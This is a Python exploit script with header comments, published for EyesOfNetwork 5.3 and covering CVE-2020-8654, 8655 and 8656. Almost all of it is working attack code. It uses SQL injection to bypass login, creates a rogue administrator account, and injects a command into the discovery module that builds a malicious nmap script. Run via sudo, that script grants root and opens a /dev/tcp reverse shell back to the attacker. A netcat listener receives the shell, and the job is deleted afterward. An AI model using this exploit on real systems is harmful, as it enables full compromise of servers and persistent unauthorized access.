# Exploit Title: EyesOfNetwork 5.3 - Remote Code Execution # Date: 2020-02-01 # Exploit Author: Clément Billac # Vendor Homepage: https://www.eyesofnetwork.com/ # Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.3-x86_64-bin.iso # Version: 5.3 # CVE : CVE-2020-8654, CVE-2020-8655, CVE-2020-8656 #!/bin/env python3 # coding: utf8 # # # CVE-2020-8654 - Discovery module to allows to run arbitrary OS commands # We were able to run the 'id' command with the following payload in the target field : ';id #'. # # CVE-2020-8655 - LPE via nmap NSE script # As the apache user is allowed to run nmap as root, we were able to execute arbitrary commands by providing a specially crafted NSE script. # nmap version 6.40 is used and doesn't have the -c and -e options. # # CVE-2020-8656 - SQLi in API in getApiKey function on 'username' field # PoC: /eonapi/getApiKey?username=' union select sleep(3),0,0,0,0,0,0,0 or ' # Auth bypass: /eonapi/getApiKey?&username=' union select 1,'admin','1c85d47ff80b5ff2a4dd577e8e5f8e9d',0,0,1,1,8 or '&password=h4knet # Python imports import sys, requests, json, os, argparse, socket from bs4 import BeautifulSoup # Text colors txt_yellow = "\033[01;33m" txt_blue = "\033[01;34m" txt_red = "\033[01;31m" txt_green = "\033[01;32m" txt_bold = "\033[01;01m" txt_reset = "\033[00m" txt_info = txt_blue + "[*] " + txt_reset txt_success = txt_green + "[+] " + txt_reset txt_warn = txt_yellow + "[!] " + txt_reset txt_err = txt_red + "[x] " + txt_reset # Banner banner = (txt_bold + """ +-----------------------------------------------------------------------------+ | EyesOfNetwork 5.3 RCE (API v2.4.2) | | 02/2020 - Clément Billac \033[01;34mTwitter: @h4knet\033[00m | | | | Examples: | | eonrce.py -h | | eonrce.py http(s)://EyesOfNetwork-URL | | eonrce.py https://eon.thinc.local -ip 10.11.0.182 -port 3128 | | eonrce.py https://eon.thinc.local -ip 10.11.0.182 -user pentest2020 | +-----------------------------------------------------------------------------+ """ + txt_reset) # Arguments Parser parser = argparse.ArgumentParser("eonrce", formatter_class=argparse.RawDescriptionHelpFormatter, usage=banner) parser.add_argument("URL", metavar="URL", help="URL of the EyesOfNetwork server") parser.add_argument("-ip", metavar="IP", help="Local IP to receive reverse shell", default=socket.gethostbyname(socket.gethostname())) parser.add_argument("-port", metavar="Port", type=int, help="Local port to listen", default=443) parser.add_argument("-user", metavar="Username", type=str, help="Name of the new user to create", default='h4ker') parser.add_argument("-password", metavar="Password", type=str, help="Password of the new user", default='net_was_here') args = parser.parse_args() # HTTP Requests config requests.packages.urllib3.disable_warnings() baseurl = sys.argv[1].strip('/') url = baseurl useragent = 'Mozilla/5.0 (Windows NT 1.0; WOW64; rv:13.37) Gecko/20200104 Firefox/13.37' # Admin user creation variables new_user = args.user new_pass = args.password # Executed command # The following payload performs both the LPE and the reverse shell in a single command. # It creates a NSE script in /tmp/h4k wich execute /bin/sh with reverse shell and then perform the nmap scan on localhost with the created NSE script. # Readable PoC: ;echo "local os = require \"os\" hostrule=function(host) os.execute(\"/bin/sh -i >& /dev/tcp/192.168.30.112/8081 0>&1\") end action=function() end" > /tmp/h4k;sudo /usr/bin/nmap localhost -p 1337 -script /tmp/h4k # ip = args.ip port = str(args.port) cmd = '%3Becho+%22local+os+%3D+require+%5C%22os%5C%22+hostrule%3Dfunction%28host%29+os.execute%28%5C%22%2Fbin%2Fsh+-i+%3E%26+%2Fdev%2Ftcp%2F' + ip + '%2F' + port + '+0%3E%261%5C%22%29+end+action%3Dfunction%28%29+end%22+%3E+%2Ftmp%2Fh4k%3Bsudo+%2Fusr%2Fbin%2Fnmap+localhost+-p+1337+-script+%2Ftmp%2Fh4k+%23' # Exploit banner print (txt_bold,"""+-----------------------------------------------------------------------------+ | EyesOfNetwork 5.3 RCE (API v2.4.2) | | 02/2020 - Clément Billac \033[01;34mTwitter: @h4knet\033[00m | +-----------------------------------------------------------------------------+ """, txt_reset, sep = '') # Check if it's a EyesOfNetwork login page. r = requests.get(baseurl, verify=False, headers={'user-agent':useragent}) if r.status_code == 200 and r.text.find('EyesOfNetwork') != -1 and r.text.find('form action="login.php" method="POST">') != -1: print(txt_info, "EyesOfNetwork login page found", sep = '') else: print(txt_err, 'EyesOfNetwork login page not found', sep = '') quit() # Check for accessible EON API url = baseurl + '/eonapi/getApiKey' r = requests.get(url, verify=False, headers={'user-agent':useragent}) if r.status_code == 401 and 'api_version' in r.json().keys() and 'http_code' in r.json().keys(): print(txt_info, 'EyesOfNetwork API page found. API version: ',txt_bold , r.json()['api_version'], txt_reset, sep = '') else: print(txt_warn, 'EyesOfNetwork API page not found', sep = '') quit() # SQL injection with authentication bypass url = baseurl + '/eonapi/getApiKey?&username=%27%20union%20select%201,%27admin%27,%271c85d47ff80b5ff2a4dd577e8e5f8e9d%27,0,0,1,1,8%20or%20%27&password=h4knet' r = requests.get(url, verify=False, headers={'user-agent':useragent}) if r.status_code == 200 and 'EONAPI_KEY' in r.json().keys(): print(txt_success, 'Admin user key obtained: ', txt_bold, r.json()['EONAPI_KEY'], txt_reset, sep = '') else: print(txt_err, 'The host seems patched or unexploitable', sep = '') print(txt_warn, 'Did you specified http instead of https in the URL ?', sep = '') print(txt_warn, 'You can check manually the SQLi with the following payload: ', txt_bold, "/eonapi/getApiKey?username=' union select sleep(3),0,0,0,0,0,0,0 or '", txt_reset, sep = '') quit() # Adding new administrator url = sys.argv[1].strip('/') + '/eonapi/createEonUser?username=admin&apiKey=' + r.json()['EONAPI_KEY'] r = requests.post(url, verify=False, headers={'user-agent':useragent}, json={"user_name":new_user,"user_group":"admins","user_password":new_pass}) if r.status_code == 200 and 'result' in r.json().keys(): if r.json()['result']['code'] == 0 and 'SUCCESS' in r.json()['result']['description']: id = r.json()['result']['description'].split('ID = ', 1)[1].split(']')[0] print(txt_success, 'New user ', txt_bold, new_user, txt_reset, ' successfully created. ID:', txt_bold, id, txt_reset, sep = '') elif r.json()['result']['code'] == 1: if ' already exist.' in r.json()['result']['description']: print(txt_warn, 'The user ', txt_bold, new_user, txt_reset, ' already exists', sep = '') else: print(txt_err, 'An error occured while querying the API. Unexpected description message: ', txt_bold, r.json()['result']['description'], txt_reset, sep = '') quit() else: print(txt_err, 'An error occured while querying the API. Unepected result code. Description: ', txt_bold, r.json()['result']['description'], txt_reset, sep = '') quit() else: print(txt_err, 'An error occured while querying the API. Missing result value in JSON response or unexpected HTTP status response', sep = '') quit() # Authentication with our new user url = baseurl + '/login.php' auth_data = 'login=' + new_user + '&mdp=' +new_pass auth_req = requests.post(url, verify=False, headers={'user-agent':useragent,'Content-Type':'application/x-www-form-urlencoded'}, data=auth_data) if auth_req.status_code == 200 and 'Set-Cookie' in auth_req.headers: print(txt_success, 'Successfully authenticated', sep = '') else: print(txt_err, 'Error while authenticating. We expect to receive Set-Cookie headers uppon successful authentication', sep = '') quit() # Creating Discovery job url = baseurl + '/lilac/autodiscovery.php' job_command = 'request=autodiscover&job_name=Internal+discovery&job_description=Internal+EON+discovery+procedure.&nmap_binary=%2Fusr%2Fbin%2Fnmap&default_template=&target%5B2%5D=' + cmd r = requests.post(url, verify=False, headers={'user-agent':useragent,'Content-Type':'application/x-www-form-urlencoded'}, cookies=auth_req.cookies, data=job_command) if r.status_code == 200 and r.text.find('Starting...') != -1: job_id = str(BeautifulSoup(r.content, "html.parser").find(id="completemsg")).split('?id=', 1)[1].split('&rev')[0] print(txt_success, 'Discovery job successfully created with ID: ', txt_bold, job_id, txt_reset, sep = '') else: print(txt_err, 'Error while creating the discovery job', sep = '') quit() # Launching listener print(txt_info, 'Spawning netcat listener:', txt_bold) nc_command = '/usr/bin/nc -lnvp' + port + ' -s ' + ip os.system(nc_command) print(txt_reset) # Removing job url = baseurl + '/lilac/autodiscovery.php?id=' + job_id + '&delete=1' r = requests.get(url, verify=False, headers={'user-agent':useragent}, cookies=auth_req.cookies) if r.status_code == 200 and r.text.find('Removed Job') != -1: print(txt_info, 'Job ', job_id, ' removed', sep = '') else: print(txt_err, 'Error while removing the job', sep = '') quit()